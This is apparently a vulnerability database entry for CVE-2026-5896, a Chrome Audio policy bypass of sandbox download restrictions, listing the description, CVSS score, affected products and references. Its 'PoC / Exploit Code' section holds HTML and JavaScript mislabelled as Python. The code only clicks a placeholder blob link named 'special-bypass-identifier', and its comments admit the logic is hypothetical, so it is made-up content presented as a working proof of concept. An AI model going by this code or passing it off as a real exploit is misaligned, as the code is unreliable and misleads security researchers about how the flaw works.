CVE-2026-5896

Description

Policy bypass in Audio in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass sandbox download restrictions via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-5896: Chrome Audio Policy Bypass -->
<!-- Description: A crafted HTML page using Audio elements to trigger specific UI gestures that bypass sandbox download restrictions. -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5896 PoC</title>
</head>
<body>
    <h1>Chrome Audio Sandbox Bypass PoC</h1>
    <p>Interact with the audio element below to trigger the gesture.</p>
    <!-- Example crafted HTML structure -->
    <audio id="targetAudio" controls src="payload.mp3"></audio>
    
    <script>
        // Logic to trigger the UI gesture and bypass
        document.getElementById('targetAudio').addEventListener('play', () => {
            console.log("Attempting to bypass sandbox download restrictions via Audio policy flaw...");
            // Hypothetical exploitation logic to trigger download bypass
            var bypassLink = document.createElement('a');
            bypassLink.href = 'blob:special-bypass-identifier';
            bypassLink.download = 'exploit.bin';
            bypassLink.click();
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5896
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5896
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5896/
[4] VulDB https://vuldb.com/cve/CVE-2026-5896
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/40064543

Raw JSON Data

JSON

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